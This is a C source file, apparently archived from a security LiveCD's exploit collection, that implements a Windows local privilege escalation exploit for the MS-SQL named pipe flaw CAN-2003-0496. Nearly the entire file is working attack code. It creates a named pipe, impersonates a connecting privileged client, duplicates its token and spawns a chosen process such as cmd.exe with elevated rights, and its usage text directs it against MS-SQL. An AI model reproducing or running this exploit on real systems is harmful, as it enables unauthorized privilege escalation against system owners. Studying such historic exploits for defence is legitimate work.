home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / local / tac0tac02.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  128 lines

  1. /*  tac0tac0.c - pay no attention to the name, long
  2. story...
  3.   *
  4.   *
  5.   *
  6.   *  Author:  Maceo
  7.   *  Modified to take advantage of CAN-2003-0496 Named
  8. Pipe Filename
  9.   *  Local Privilege Escalation Found by @stake. Use with
  10. their advisory
  11.   *  -wirepair@sh0dan.org
  12. http://sh0dan.org/files/tac0tac0.c
  13.   *
  14.   *
  15.   *  All credits for code go to Maceo, i really did
  16. minimal work
  17.   *  with his code, it took me like 3 seconds heh.
  18.   *  Shouts to #innercircle,
  19.   *
  20.   */
  21.  
  22.  
  23. #include <stdio.h>
  24. #include <windows.h>
  25.  
  26.  
  27. int main(int argc, char **argv)
  28. {
  29.    char szPipe[64];
  30.    DWORD dwNumber = 0;
  31.    DWORD dwType = REG_DWORD;
  32.    DWORD dwSize = sizeof(DWORD);
  33.    DWORD dw = GetLastError();
  34.    HANDLE hToken, hToken2;
  35.    PGENERIC_MAPPING pGeneric;
  36.    SECURITY_ATTRIBUTES sa;
  37.    DWORD dwAccessDesired;
  38.    PACL pACL = NULL;
  39.    PSECURITY_DESCRIPTOR pSD = NULL;
  40.    STARTUPINFO si;
  41.    PROCESS_INFORMATION pi;
  42.  
  43.  
  44.    if (argc != 2) {
  45.       fprintf(stderr, "Usage: %s <cmd.exe>\nNamed Pipe Local
  46. Priv Escalation found by @stake.\n"
  47.                        "This code is to be used with MS-SQL exactly as
  48. outlined in their advisory\n"
  49.                        "All credit for this code goes to Maceo, he did a
  50. fine job.. -wire\n"
  51.                        "Also thanks goes to brett Moore for helping me
  52. with DuplicateTokenEx, thanks buddy guy!\n",argv[0]);
  53.                        exit(1);
  54.    }
  55.    memset(&si,0,sizeof(si));
  56.    sprintf(szPipe, "\\\\.\\pipe\\poop");
  57.  
  58.    // create the named pipe
  59.    HANDLE hPipe = 0;
  60.    hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX,
  61. PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL);
  62.    if (hPipe == INVALID_HANDLE_VALUE) {
  63.      printf ("Failed to create named pipe:\n  %s\n",
  64. szPipe);
  65.      return 3;
  66.    }
  67.    printf("Created Named Pipe: \\\\.\\pipe\\poop\n");
  68.  
  69.    // setup security attribs
  70.    pSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR,
  71. SECURITY_DESCRIPTOR_MIN_LENGTH);
  72.    InitializeSecurityDescriptor(pSD,
  73. SECURITY_DESCRIPTOR_REVISION);
  74.    SetSecurityDescriptorDacl(pSD,TRUE, pACL, FALSE);
  75.    sa.nLength = sizeof (SECURITY_ATTRIBUTES);
  76.    sa.lpSecurityDescriptor = pSD;
  77.    sa.bInheritHandle = FALSE;
  78.  
  79.    printf("Waiting for connection...\n");
  80.    // wait for client to connect
  81.    ConnectNamedPipe (hPipe, NULL);
  82.  
  83.    // assume the identity of the client //
  84.    if (!ImpersonateNamedPipeClient (hPipe)) {
  85.      printf ("Failed to impersonate the named pipe.\n");
  86.      CloseHandle(hPipe);
  87.      return 5;
  88.    }
  89.  
  90.    if (!OpenThreadToken(GetCurrentThread(),
  91. TOKEN_ALL_ACCESS, TRUE, &hToken )) {
  92.          if (hToken != INVALID_HANDLE_VALUE) {
  93.              printf("GetLastError: %u\n", dw);
  94.               CloseHandle(hToken);
  95.              exit(0);
  96.          }
  97.    }
  98.  
  99.    printf("Duplicating Token...\n");
  100.    if(DuplicateTokenEx(hToken,MAXIMUM_ALLOWED,&sa,SecurityImpersonation,
  101. TokenPrimary,&hToken2) == 0) {
  102.       printf("error in duplicate token\n");
  103.       printf("GetLastError: %u\n", dw);
  104.       exit(0);
  105.    }
  106.    MapGenericMask( &dwAccessDesired, pGeneric );
  107.  
  108.    // display impersonating users name
  109.    dwSize  = 256;
  110.    char szUser[256];
  111.    GetUserName(szUser, &dwSize);
  112.    printf ("Impersonating: %s\n", szUser);
  113.  
  114.    si.cb = sizeof(si);
  115.    si.lpDesktop = NULL;
  116.  
  117.    printf("Creating New Process %s\n", argv[1]);
  118.    if(!CreateProcessAsUser(hToken2, NULL, argv[1], &sa,
  119. &sa,true, NORMAL_PRIORITY_CLASS |
  120. CREATE_NEW_CONSOLE,NULL,NULL,&si, &pi)) {
  121.       printf("GetLastError: %u\n", dw);
  122.    }
  123.    CloseHandle(hPipe);
  124.  
  125.    return 0;
  126. }
  127.  
  128.